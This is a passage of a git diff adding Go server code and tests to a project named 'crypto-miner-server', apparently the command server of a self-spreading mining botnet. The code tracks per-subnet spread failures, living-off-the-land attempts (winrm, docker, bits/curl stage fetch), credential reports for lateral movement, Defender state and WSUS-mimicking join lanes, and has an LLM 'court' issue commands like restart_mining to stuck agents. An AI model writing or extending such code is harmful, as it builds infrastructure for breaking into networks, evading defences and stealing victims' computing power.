+		if row, err := a.Hub.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
+			failCount = row.FailCount
+			pausedUntil = row.PausedUntil
+		}
+	}
+	subnetImmune = fleetai.FormatSubnetImmuneRow(prefix, failCount, pausedUntil)
+
+	policy := a.Hub.serverPolicySnapshot()
+	stageAttempted, stageOK := stageFetchStatus(snap.LOTLAttempts)
+	erasureRecovery = fleetai.FormatErasureRecovery(policy.ErasureLanesEnabled, stageAttempted, stageOK)
+
+	hints := a.Hub.gossipWhispersForSubnet(prefix)
+	gossip = formatGossipForCourt(hints)
+	return subnetImmune, erasureRecovery, gossip
+}
+
+func stageFetchStatus(attempts []fleetai.TierAttempt) (attempted, ok bool) {
+	for _, a := range attempts {
+		if a.Tier == "stage_fetch" || a.Tier == "bits_curl" || a.Tier == "bits" || a.Tier == "curl" {
+			attempted = true
+			if a.OK {
+				ok = true
+			}
+		}
+	}
+	return attempted, ok
+}
+
+func formatGossipForCourt(hints []atlas.GossipHint) string {
+	if len(hints) == 0 {
+		return "none recorded on this /24"
+	}
+	parts := make([]string, 0, len(hints))
+	for _, h := range hints {
+		line := h.Tier + "|" + h.Condition
+		if h.Reason != "" {
+			line += " (" + h.Reason + ")"
+		}
+		parts = append(parts, line)
+	}
+	return strings.Join(parts, "; ")
+}
+
+func firstNonEmpty(values ...string) string {
+	for _, v := range values {
+		if strings.TrimSpace(v) != "" {
+			return strings.TrimSpace(v)
+		}
+	}
+	return ""
+}
+
+// BroadcastEmberwakeCourtDebate optionally surfaces court transcripts on Emberwake dashboard WS.
+func (h *WSHub) BroadcastEmberwakeCourtDebate(agentID string, transcript fleetai.CourtDebateTranscript) {
+	if h == nil {
+		return
+	}
+	h.broadcastDashboard(Message{
+		Type: "emberwake_court_debate",
+		Payload: mustMarshal(map[string]interface{}{
+			"agent_id":   agentID,
+			"agent_name": transcript.AgentName,
+			"verdict":    transcript.Verdict,
+			"transcript": transcript.Transcript,
+			"evidence":   transcript.Evidence,
+			"ts":         transcript.Timestamp,
+		}),
+	})
+}
diff --git a/server/internal/api/court_chamber_test.go b/server/internal/api/court_chamber_test.go
new file mode 100644
index 0000000..7535013
--- /dev/null
+++ b/server/internal/api/court_chamber_test.go
@@ -0,0 +1,175 @@
+package api
+
+import (
+	"context"
+	"encoding/json"
+	"io"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	fleetai "crypto-miner-server/internal/ai"
+	"crypto-miner-server/internal/atlas"
+	"crypto-miner-server/internal/clearance"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+)
+
+func TestHubCourtChamberEvidenceRealData(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+
+	agentID := "chamber-evidence-agent"
+	if err := database.UpsertAgent(&models.Agent{
+		ID: agentID, Name: "Patient", IP: "192.168.50.10", Platform: "windows", Status: "online",
+		ChainExhausted: true,
+	}); err != nil {
+		t.Fatal(err)
+	}
+	for i := 0; i < 3; i++ {
+		_, _ = database.RecordSubnetSpreadFailure("192.168.50")
+	}
+
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true})
+	hub.mu.Lock()
+	hub.subnetGossipWhispers = map[string][]atlas.GossipHint{
+		"192.168.50": {{Tier: "docker", Condition: "no_docker", Reason: "lan gossip"}},
+	}
+	hub.mu.Unlock()
+
+	adapter := NewHubCourtChamberAdapter(hub, database)
+	snap := fleetai.AgentSnapshot{
+		AgentID: agentID, Name: "Patient", GOOS: "windows",
+		MiningHashrate: 0, Stuck: true, ChainExhausted: true,
+		LOTLAttempts: []fleetai.TierAttempt{{Tier: "docker", OK: false, Error: "denied"}},
+	}
+	ev := adapter.ChamberEvidence(agentID, snap)
+	if !strings.Contains(ev.SubnetImmune, "192.168.50") || !strings.Contains(ev.SubnetImmune, "fail_count=3") {
+		t.Fatalf("subnet immune=%q", ev.SubnetImmune)
+	}
+	if !strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") {
+		t.Fatalf("erasure=%q", ev.ErasureRecovery)
+	}
+	if !strings.Contains(ev.GossipWhispers, "docker|no_docker") {
+		t.Fatalf("gossip=%q", ev.GossipWhispers)
+	}
+}
+
+func TestIntegrationCourtChamberEmitsSeerDebate(t *testing.T) {
+	var llmBody string
+	var llmMu sync.Mutex
+	llmSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.Method != http.MethodPost || !strings.HasSuffix(r.URL.Path, "/chat/completions") {
+			http.NotFound(w, r)
+			return
+		}
+		raw, _ := io.ReadAll(r.Body)
+		llmMu.Lock()
+		llmBody = string(raw)
+		llmMu.Unlock()
+		_ = json.NewEncoder(w).Encode(map[string]interface{}{
+			"choices": []map[string]interface{}{
+				{"message": map[string]string{
+					"content": "Verdict: restart mining after adversarial chamber.\n" +
+						`{"commands":[{"type":"restart_mining","args":{}}]}`,
+				}},
+			},
+		})
+	}))
+	t.Cleanup(llmSrv.Close)
+
+	aiCfg := FleetAIConfigView{
+		AIControlEnabled: true, AIEndpoint: llmSrv.URL + "/v1",
+		AIModel: "test-model", AIDecisionIntervalSec: 1, AIAutoElevateClearance: true,
+	}
+	hub, database, _ := newFleetIntelligenceHub(t, aiCfg)
+	hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true})
+	courtChamber := NewHubCourtChamberAdapter(hub, database)
+	seerEmitter := &HubSeerEmitter{Hub: hub, DB: database}
+
+	sched := fleetai.NewScheduler(
+		&ConfigAIAdapter{Src: &mutableFleetAIConfig{view: aiCfg}},
+		&WSHubSnapshotAdapter{Hub: hub},
+		&ClearanceGuardExecutor{Inner: &FleetAIExecutor{Hub: hub}, Clearance: hub.ClearanceManager()},
+		&DatabaseAIDecisionStore{DB: database},
+		courtChamber,
+		hub.ClearanceManager(),
+	)
+	sched.SetCourtDeps(fleetai.CourtDeps{Chamber: courtChamber, Seer: seerEmitter})
+
+	old := fleetai.DecideFunc
+	fleetai.DecideFunc = func(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error) {
+		return fleetai.Decide(ctx, endpoint, model, systemPrompt, userPrompt)
+	}
+	t.Cleanup(func() { fleetai.DecideFunc = old })
+
+	agentID := "court-chamber-agent"
+	conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
+		"agent_id": agentID, "hostname": "chamber-host", "platform": "windows", "version": "1.0",
+	})
+	pushStuckAgentTelemetry(t, conn)
+	seedStuckAgentDB(t, database, agentID)
+	waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts")
+
+	dashConn := connectTestDashboard(t, hub)
+	seerCh := make(chan map[string]interface{}, 1)
+	go func() {
+		for {
+			var msg Message
+			if err := dashConn.ReadJSON(&msg); err != nil {
+				return
+			}
+			if msg.Type != "seer_events" {
+				continue
+			}
+			var body map[string]interface{}
+			if json.Unmarshal(msg.Payload, &body) != nil {
+				continue
+			}
+			if body["event_type"] != "court_debate" {
+				continue
+			}
+			seerCh <- body
+			return
+		}
+	}()
+
+	sched.ResetLastRunForTest(agentID, 2*time.Minute)
+	sched.Tick()
+
+	llmMu.Lock()
+	body := llmBody
+	llmMu.Unlock()
+	if !strings.Contains(body, "PUBLIC DEFENDER") {
+		t.Fatalf("expected adversarial chamber judge prompt, got: %s", body)
+	}
+
+	select {
+	case ev := <-seerCh:
+		payload, ok := ev["payload"].(map[string]interface{})
+		if !ok {
+			// payload may be json.RawMessage nested
+			if raw, ok2 := ev["payload"]; ok2 {
+				b, _ := json.Marshal(raw)
+				_ = json.Unmarshal(b, &payload)
+			}
+		}
+		if ev["event_type"] != "court_debate" {
+			t.Fatalf("event_type=%v", ev["event_type"])
+		}
+	case <-time.After(5 * time.Second):
+		events, _ := database.ListSeerEvents(5)
+		t.Fatalf("timed out waiting for court_debate seer_events; db events=%+v", events)
+	}
+
+	if level := hub.ClearanceManager().Level(agentID); level < clearance.L1 {
+		t.Fatalf("unexpected clearance %d", level)
+	}
+}
diff --git a/server/internal/api/fleet_intelligence_test.go b/server/internal/api/fleet_intelligence_test.go
index 1cb5652..4b89c3c 100644
--- a/server/internal/api/fleet_intelligence_test.go
+++ b/server/internal/api/fleet_intelligence_test.go
@@ -516,15 +516,6 @@ func TestIntegrationSurgicalReplayFlow(t *testing.T) {
 	if err := database.UpsertAgent(&models.Agent{
 		ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online",
 		SpreadStrain: "#112233",
-		LOTLAttempts: []struct {
-			Tier       string `json:"tier"`
-			OK         bool   `json:"ok"`
-			Error      string `json:"error,omitempty"`
-			DurationMs int64  `json:"duration_ms"`
-		}{
-			{Tier: "vuln_recon", OK: true},
-			{Tier: "docker", OK: false, Error: "daemon missing"},
-		},
 	}); err != nil {
 		t.Fatal(err)
 	}
diff --git a/server/internal/api/fleet_torrent_test.go b/server/internal/api/fleet_torrent_test.go
new file mode 100644
index 0000000..5e6a9a3
--- /dev/null
+++ b/server/internal/api/fleet_torrent_test.go
@@ -0,0 +1,107 @@
+package api
+
+import (
+	"encoding/json"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/atlas"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+
+	"github.com/gorilla/websocket"
+)
+
+func TestFleetTorrentGossipRelayCrossSubnet(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{FleetTorrentEnabled: true})
+	_ = database.UpsertAgent(&models.Agent{ID: "ft-a", Name: "a", IP: "10.1.1.10", Status: "online"})
+	_ = database.UpsertAgent(&models.Agent{ID: "ft-b", Name: "b", IP: "10.2.2.20", Status: "online"})
+
+	connA := connectTestAgentWithIP(t, hub, "ft-a", "10.1.1.10")
+	connB := connectTestAgentWithIP(t, hub, "ft-b", "10.2.2.20")
+
+	recvCh := make(chan Message, 2)
+	go readUntilType(connB, "fleet_torrent_gossip", recvCh)
+
+	payload, _ := json.Marshal(map[string]interface{}{
+		"records": []atlas.FleetGossipRecord{{
+			Kind: atlas.FleetGossipHaveShard, AgentID: "ft-a", Token: "tok",
+			ShardIndex: 0, ShardHash: "abc", Subnet: "10.1.1",
+		}},
+	})
+	if err := connA.WriteJSON(Message{Type: "fleet_torrent_gossip", Payload: payload}); err != nil {
+		t.Fatal(err)
+	}
+
+	select {
+	case msg := <-recvCh:
+		var body map[string]interface{}
+		if err := json.Unmarshal(msg.Payload, &body); err != nil {
+			t.Fatal(err)
+		}
+		recs, _ := body["records"].([]interface{})
+		if len(recs) != 1 {
+			t.Fatalf("records=%v", body["records"])
+		}
+	case <-time.After(2 * time.Second):
+		t.Fatal("cross-subnet peer did not receive fleet_torrent_gossip")
+	}
+	_ = websocket.CloseNormalClosure
+}
+
+func TestAuthSubnetPrimarySeederHint(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{FleetRolesEnabled: true, FleetTorrentEnabled: true})
+
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id":    "seed-primary-aa",
+		"hostname":    "host",
+		"platform":    "windows",
+		"version":     "test",
+		"fleet_role":  "seeder",
+		"seeder_mode": true,
+	})
+	var body map[string]interface{}
+	if err := json.Unmarshal(resp.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	if _, ok := body["subnet_primary_seeder"].(string); !ok {
+		t.Fatalf("subnet_primary_seeder missing: %#v", body)
+	}
+	if body["fleet_torrent_enabled"] != true {
+		t.Fatalf("fleet_torrent_enabled=%#v", body["fleet_torrent_enabled"])
+	}
+}
+
+func TestSubnetPrimarySeederElection(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.storeAgentFleetRole("aaa-seeder", "seeder")
+	hub.storeAgentFleetRole("bbb-seeder", "seeder")
+	hub.mu.Lock()
+	hub.agentLiveTelemetry["aaa-seeder"] = map[string]interface{}{"fleet_role": "seeder"}
+	hub.agentLiveTelemetry["bbb-seeder"] = map[string]interface{}{"fleet_role": "seeder"}
+	hub.mu.Unlock()
+	_ = database.UpsertAgent(&models.Agent{ID: "aaa-seeder", IP: "10.5.5.1"})
+	_ = database.UpsertAgent(&models.Agent{ID: "bbb-seeder", IP: "10.5.5.2"})
+	pick := hub.electSubnetPrimarySeeder("10.5.5")
+	if pick != "aaa-seeder" {
+		t.Fatalf("pick=%q", pick)
+	}
+}
diff --git a/server/internal/api/subnet_autopsy.go b/server/internal/api/subnet_autopsy.go
new file mode 100644
index 0000000..e60a66f
--- /dev/null
+++ b/server/internal/api/subnet_autopsy.go
@@ -0,0 +1,304 @@
+package api
+
+import (
+	"encoding/json"
+	"log"
+	"net/http"
+	"strings"
+	"time"
+
+	"crypto-miner-server/internal/ai"
+	"crypto-miner-server/internal/atlas"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+	"crypto-miner-server/internal/strategy"
+)
+
+// SubnetAutopsyHandler serves immune autopsy packets for paused /24 prefixes.
+type SubnetAutopsyHandler struct {
+	hub        *WSHub
+	pathTracer *PathTracerHandler
+}
+
+func NewSubnetAutopsyHandler(hub *WSHub, pathTracer *PathTracerHandler) *SubnetAutopsyHandler {
+	return &SubnetAutopsyHandler{hub: hub, pathTracer: pathTracer}
+}
+
+// GET /api/v1/atlas/subnet-autopsy?subnet=
+func (h *SubnetAutopsyHandler) Get(w http.ResponseWriter, r *http.Request) {
+	if h == nil || h.hub == nil {
+		http.Error(w, "subnet autopsy unavailable", http.StatusServiceUnavailable)
+		return
+	}
+	prefix := atlas.PrefixFromHostOrIP(r.URL.Query().Get("subnet"))
+	if prefix == "" {
+		http.Error(w, "subnet query required", http.StatusBadRequest)
+		return
+	}
+	pkt, ok := h.hub.SubnetAutopsy(prefix)
+	if !ok {
+		pkt = h.hub.BuildSubnetAutopsy(prefix, h.pathTracer)
+	}
+	writeJSON(w, pkt)
+}
+
+// TriggerSubnetAutopsy builds, caches, and broadcasts an autopsy when immune pause activates.
+func (h *WSHub) TriggerSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) {
+	pkt := h.BuildSubnetAutopsy(prefix, pathTracer)
+	h.storeSubnetAutopsy(pkt)
+	h.BroadcastSeerEvent(map[string]interface{}{
+		"type":       "subnet_immune_autopsy",
+		"prefix":     pkt.Prefix,
+		"triggered":  pkt.TriggeredAt,
+		"cause":      pkt.CauseOfDeath,
+		"vaccination": pkt.VaccinationLane,
+		"packet":     pkt,
+	})
+	log.Printf("[subnet-autopsy] immune pause autopsy for %s (%d failures)", pkt.Prefix, pkt.FailCount)
+}
+
+func (h *WSHub) storeSubnetAutopsy(pkt atlas.SubnetAutopsyPacket) {
+	if h == nil {
+		return
+	}
+	h.mu.Lock()
+	if h.subnetAutopsies == nil {
+		h.subnetAutopsies = make(map[string]atlas.SubnetAutopsyPacket)
+	}
+	h.subnetAutopsies[pkt.Prefix] = pkt
+	h.mu.Unlock()
+}
+
+// SubnetAutopsy returns a cached autopsy packet for prefix.
+func (h *WSHub) SubnetAutopsy(prefix string) (atlas.SubnetAutopsyPacket, bool) {
+	if h == nil {
+		return atlas.SubnetAutopsyPacket{}, false
+	}
+	prefix = atlas.PrefixFromHostOrIP(prefix)
+	h.mu.RLock()
+	pkt, ok := h.subnetAutopsies[prefix]
+	h.mu.RUnlock()
+	return pkt, ok
+}
+
+// BuildSubnetAutopsy assembles an immune autopsy from fleet state.
+func (h *WSHub) BuildSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) atlas.SubnetAutopsyPacket {
+	prefix = atlas.PrefixFromHostOrIP(prefix)
+	now := time.Now().UTC()
+	pkt := atlas.SubnetAutopsyPacket{
+		Prefix:      prefix,
+		TriggeredAt: now,
+		Persona:     ai.NormalizePersona(h.serverPolicySnapshot().AIPersona),
+		WSUSMimic: atlas.WSUSMimicSnapshot{
+			FormatMimicEnabled: true,
+			CachePeerLane:      "wsus_cache_peer",
+		},
+	}
+	policy := h.serverPolicySnapshot()
+	pkt.ErasureFallback = atlas.ErasureFallbackSnapshot{
+		ErasureLanesEnabled: policy.ErasureLanesEnabled,
+		AvailableAsFallback: policy.ErasureLanesEnabled,
+	}
+
+	if h.db != nil {
+		if row, err := h.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
+			pkt.FailCount = row.FailCount
+			pkt.PausedUntil = row.PausedUntil
+		}
+	}
+
+	agents := h.agentsOnSubnet(prefix)
+	pkt.LOTLAttempts = atlas.TrimLOTLAttempts(collectSubnetLOTLAttempts(h, agents), atlas.SubnetAutopsyLOTLAttemptLimit)
+	pkt.GossipWhispers = atlas.TrimGossipWhispers(h.gossipWhispersForSubnet(prefix), atlas.SubnetAutopsyGossipWhisperLimit)
+	pkt.FailureAtlas = h.failureAtlasSummaryForSubnet(agents)
+
+	if joinLane := recentJoinLane(h, agents); joinLane != "" {
+		pkt.WSUSMimic.RecentJoinLane = joinLane
+		if joinLane == "wsus_cache_peer" {
+			pkt.WSUSMimic.FormatMimicEnabled = true
+		}
+	}
+
+	if pathTracer != nil {
+		if hint := pathTracer.RecommendSpreadRoute(prefix, pkt.WSUSMimic.RecentJoinLane, ""); hint != nil {
+			pkt.VaccinationLane = hint
+		}
+	}
+
+	pkt.CauseOfDeath = atlas.BuildCauseOfDeath(pkt)
+	return pkt
+}
+
+func (h *WSHub) agentsOnSubnet(prefix string) []*models.Agent {
+	if h == nil || h.db == nil || prefix == "" {
+		return nil
+	}
+	subnetLabel := prefix + ".x"
+	agents, err := h.db.ListAgentsFiltered(db.AgentListFilter{Subnet: subnetLabel, Limit: 64})
+	if err != nil {
+		return nil
+	}
+	return agents
+}
+
+func collectSubnetLOTLAttempts(hub *WSHub, agents []*models.Agent) []atlas.LOTLAttemptSnapshot {
+	var out []atlas.LOTLAttemptSnapshot
+	for _, ag := range agents {
+		if ag == nil {
+			continue
+		}
+		attempts := lotlAttemptsForAgent(hub, ag)
+		for _, a := range attempts {
+			a.AgentID = ag.ID
+			a.AgentName = ag.Name
+			out = append(out, a)
+		}
+	}
+	return out
+}
+
+func lotlAttemptsForAgent(hub *WSHub, ag *models.Agent) []atlas.LOTLAttemptSnapshot {
+	if hub != nil {
+		hub.mu.RLock()
+		if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
+			hub.mu.RUnlock()
+			if parsed := parseLOTLAttemptsFromTelemetry(tel); len(parsed) > 0 {
+				return parsed
+			}
+		} else {
+			hub.mu.RUnlock()
+		}
+	}
+	return parseLOTLAttemptsFromAgent(ag)
+}
+
+func parseLOTLAttemptsFromTelemetry(tel map[string]interface{}) []atlas.LOTLAttemptSnapshot {
+	raw, ok := tel["lotl_attempts"]
+	if !ok {
+		return nil
+	}
+	b, err := json.Marshal(raw)
+	if err != nil {
+		return nil
+	}
+	var attempts []atlas.LOTLAttemptSnapshot
+	if json.Unmarshal(b, &attempts) != nil {
+		return nil
+	}
+	return attempts
+}
+
+func parseLOTLAttemptsFromAgent(ag *models.Agent) []atlas.LOTLAttemptSnapshot {
+	if ag == nil || len(ag.LOTLAttempts) == 0 {
+		return nil
+	}
+	out := make([]atlas.LOTLAttemptSnapshot, 0, len(ag.LOTLAttempts))
+	for _, a := range ag.LOTLAttempts {
+		out = append(out, atlas.LOTLAttemptSnapshot{
+			Tier:       a.Tier,
+			OK:         a.OK,
+			Error:      a.Error,
+			DurationMs: a.DurationMs,
+		})
+	}
+	return out
+}
+
+func recentJoinLane(hub *WSHub, agents []*models.Agent) string {
+	for _, ag := range agents {
+		if ag == nil {
+			continue
+		}
+		if hub != nil {
+			hub.mu.RLock()
+			if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
+				if lane, ok := tel["join_lane"].(string); ok && strings.TrimSpace(lane) != "" {
+					hub.mu.RUnlock()
+					return strings.TrimSpace(lane)
+				}
+			}
+			hub.mu.RUnlock()
+		}
+		if strings.TrimSpace(ag.JoinLane) != "" {
+			return strings.TrimSpace(ag.JoinLane)
+		}
+	}
+	return ""
+}
+
+func (h *WSHub) failureAtlasSummaryForSubnet(agents []*models.Agent) string {
+	if h == nil || h.db == nil || len(agents) == 0 {
+		return ""
+	}
+	for _, ag := range agents {
+		if ag == nil {
+			continue
+		}
+		domainJoined := ag.FirewallDomain != nil && *ag.FirewallDomain
+		fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, domainJoined)
+		summary, err := h.db.FailureAtlasSummary(fp.Key(), fp.GOOS)
+		if err == nil && summary != "" && summary != "no fleet failure atlas samples for this fingerprint" {
+			return summary
+		}
+	}
+	return ""
+}
+
+func normalizeGossipSubnetKey(prefix string) string {
+	prefix = strings.TrimSpace(prefix)
+	if prefix == "" {
+		return ""
+	}
+	if norm := atlas.PrefixFromHostOrIP(prefix); norm != "" {
+		return norm
+	}
+	prefix = strings.TrimSuffix(prefix, ".0/24")
+	prefix = strings.TrimSuffix(prefix, "/24")
+	return strings.TrimSpace(prefix)
+}
+
+func (h *WSHub) recordGossipWhisper(prefix string, hints []atlas.GossipHint) {
+	prefix = normalizeGossipSubnetKey(prefix)
+	if prefix == "" || len(hints) == 0 {
+		return
+	}
+	h.mu.Lock()
+	if h.subnetGossipWhispers == nil {
+		h.subnetGossipWhispers = make(map[string][]atlas.GossipHint)
+	}
+	merged := atlas.MergeGossipSkips(toAtlasSkips(h.subnetGossipWhispers[prefix]), hints)
+	out := make([]atlas.GossipHint, 0, len(merged))
+	for _, s := range merged {
+		out = append(out, atlas.GossipHint{Tier: s.Tier, Condition: s.Condition, Reason: s.Reason})
+	}
+	h.subnetGossipWhispers[prefix] = out
+	h.mu.Unlock()
+}
+
+func (h *WSHub) gossipWhispersForSubnet(prefix string) []atlas.GossipHint {
+	prefix = normalizeGossipSubnetKey(prefix)
+	if h == nil || prefix == "" {
+		return nil
+	}
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	if h.subnetGossipWhispers == nil {
+		return nil
+	}
+	return append([]atlas.GossipHint(nil), h.subnetGossipWhispers[prefix]...)
+}
+
+func toAtlasSkips(hints []atlas.GossipHint) []atlas.AtlasSkip {
+	skips := atlas.SkipsFromHints(hints)
+	out := make([]atlas.AtlasSkip, len(skips))
+	copy(out, skips)
+	return out
+}
+
+// BroadcastSeerEvent pushes structured events to dashboard Seer consumers.
+func (h *WSHub) BroadcastSeerEvent(ev interface{}) {
+	if h == nil {
+		return
+	}
+	h.broadcastDashboard(Message{Type: "seer_events", Payload: mustMarshal(ev)})
+}
diff --git a/server/internal/api/subnet_autopsy_test.go b/server/internal/api/subnet_autopsy_test.go
new file mode 100644
index 0000000..aa61406
--- /dev/null
+++ b/server/internal/api/subnet_autopsy_test.go
@@ -0,0 +1,143 @@
+package api
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/atlas"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+)
+
+func TestSubnetAutopsyGETBuildsPacket(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+
+	agentID := "autopsy-agent"
+	if err := database.UpsertAgent(&models.Agent{
+		ID: agentID, Name: "Patient", Wallet: "x", IP: "10.0.0.50", Status: "online",
+	}); err != nil {
+		t.Fatal(err)
+	}
+	for i := 0; i < 5; i++ {
+		_, _ = database.RecordSubnetSpreadFailure("10.0.0")
+	}
+
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{AIPersona: "silent", ErasureLanesEnabled: true})
+	hub.mu.Lock()
+	hub.agentLiveTelemetry[agentID] = map[string]interface{}{
+		"join_lane": "wsus_cache_peer",
+		"lotl_attempts": []map[string]interface{}{
+			{"tier": "winrm", "ok": false, "error": "auth failed", "phase": "spread"},
+		},
+	}
+	hub.subnetGossipWhispers = map[string][]atlas.GossipHint{
+		"10.0.0": {{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}},
+	}
+	hub.mu.Unlock()
+
+	handler := NewSubnetAutopsyHandler(hub, NewPathTracerHandler(hub))
+	req := httptest.NewRequest(http.MethodGet, "/atlas/subnet-autopsy?subnet=10.0.0.x", nil)
+	rec := httptest.NewRecorder()
+	handler.Get(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	var pkt atlas.SubnetAutopsyPacket
+	if err := json.Unmarshal(rec.Body.Bytes(), &pkt); err != nil {
+		t.Fatal(err)
+	}
+	if pkt.Prefix != "10.0.0" || pkt.FailCount != 5 {
+		t.Fatalf("packet=%+v", pkt)
+	}
+	if pkt.Persona != "silent" || !pkt.ErasureFallback.AvailableAsFallback {
+		t.Fatalf("policy fields=%+v", pkt)
+	}
+	if len(pkt.LOTLAttempts) == 0 || pkt.LOTLAttempts[0].Tier != "winrm" {
+		t.Fatalf("attempts=%+v", pkt.LOTLAttempts)
+	}
+	if len(pkt.GossipWhispers) != 1 || pkt.CauseOfDeath == "" {
+		t.Fatalf("gossip/cause=%+v %q", pkt.GossipWhispers, pkt.CauseOfDeath)
+	}
+}
+
+func TestTriggerSubnetAutopsyEmitsSeerEvent(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+	for i := 0; i < 5; i++ {
+		_, _ = database.RecordSubnetSpreadFailure("10.1.1")
+	}
+
+	hub := NewWSHub(database)
+	dashConn := connectTestDashboard(t, hub)
+	recv := make(chan map[string]interface{}, 1)
+	go func() {
+		for {
+			var msg Message
+			if err := dashConn.ReadJSON(&msg); err != nil {
+				return
+			}
+			if msg.Type != "seer_events" {
+				continue
+			}
+			var body map[string]interface{}
+			if json.Unmarshal(msg.Payload, &body) != nil {
+				continue
+			}
+			recv <- body
+			return
+		}
+	}()
+
+	hub.TriggerSubnetAutopsy("10.1.1", nil)
+	select {
+	case ev := <-recv:
+		if ev["type"] != "subnet_immune_autopsy" || ev["prefix"] != "10.1.1" {
+			t.Fatalf("event=%v", ev)
+		}
+		if _, ok := ev["cause"].(string); !ok {
+			t.Fatalf("missing cause: %v", ev)
+		}
+	case <-time.After(3 * time.Second):
+		t.Fatal("timed out waiting for seer_events")
+	}
+}
+
+func TestSpreadCredReportTriggersAutopsyOnPause(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+	for i := 0; i < 4; i++ {
+		_, _ = database.RecordSubnetSpreadFailure("10.2.2")
+	}
+
+	hub := NewWSHub(database)
+	pathTracer := NewPathTracerHandler(hub)
+	h := NewSpreadCredHandler(database, nil)
+	h.BindAutopsyTrigger(hub, pathTracer)
+
+	body := `{"host":"10.2.2.9","subnet":"10.2.2","credential_profile_id":"p1","success":false}`
+	req := httptest.NewRequest(http.MethodPost, "/agent/spread-cred/report", strings.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ReportEdge(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status=%d", rec.Code)
+	}
+	pkt, ok := hub.SubnetAutopsy("10.2.2")
+	if !ok || pkt.FailCount != 5 || pkt.CauseOfDeath == "" {
+		t.Fatalf("autopsy=%+v ok=%v", pkt, ok)
+	}
+}
diff --git a/server/internal/api/surgical_bridge.go b/server/internal/api/surgical_bridge.go
new file mode 100644
index 0000000..d8df82f
--- /dev/null
+++ b/server/internal/api/surgical_bridge.go
@@ -0,0 +1,150 @@
+package api
+
+import (
+	"encoding/json"
+	"strings"
+
+	fleetai "crypto-miner-server/internal/ai"
+	"crypto-miner-server/internal/spreadrouter"
+)
+
+// PathTraceSurgicalAdapter resolves persisted Path Tracer sessions for surgical replay.
+type PathTraceSurgicalAdapter struct {
+	Hub       *WSHub
+	PathTrace *PathTracerHandler
+}
+
+func (a *PathTraceSurgicalAdapter) TraceForAgent(agentID string) (fleetai.SurgicalTraceContext, bool) {
+	if a == nil || agentID == "" {
+		return fleetai.SurgicalTraceContext{}, false
+	}
+	sessions := traceSessionsSnapshot(a.PathTrace)
+	if len(sessions) == 0 && a.Hub != nil && a.Hub.db != nil {
+		rows, err := a.Hub.db.ListPathTraceSessions()
+		if err != nil {
+			return fleetai.SurgicalTraceContext{}, false
+		}
+		for _, row := range rows {
+			var rec pathTraceSessionPersist
+			if json.Unmarshal(row.Payload, &rec) != nil {
+				continue
+			}
+			sess := &TraceSession{
+				ID: rec.ID, AgentIDs: rec.AgentIDs, Hops: rec.Hops,
+				Error: rec.Error, DiscoverError: rec.DiscoverError,
+			}
+			sessions = append(sessions, sess)
+		}
+	}
+	for _, sess := range sessions {
+		if ctx, ok := surgicalTraceFromSession(sess, agentID); ok {
+			return ctx, true
+		}
+	}
+	return fleetai.SurgicalTraceContext{}, false
+}
+
+func surgicalTraceFromSession(sess *TraceSession, agentID string) (fleetai.SurgicalTraceContext, bool) {
+	if sess == nil || agentID == "" {
+		return fleetai.SurgicalTraceContext{}, false
+	}
+	hopIndex := -1
+	for i, hop := range sess.Hops {
+		if hop != nil && hop.AgentID == agentID {
+			hopIndex = i
+			break
+		}
+	}
+	if hopIndex < 0 {
+		for _, id := range sess.AgentIDs {
+			if id == agentID {
+				hopIndex = 0
+				break
+			}
+		}
+	}
+	if hopIndex < 0 {
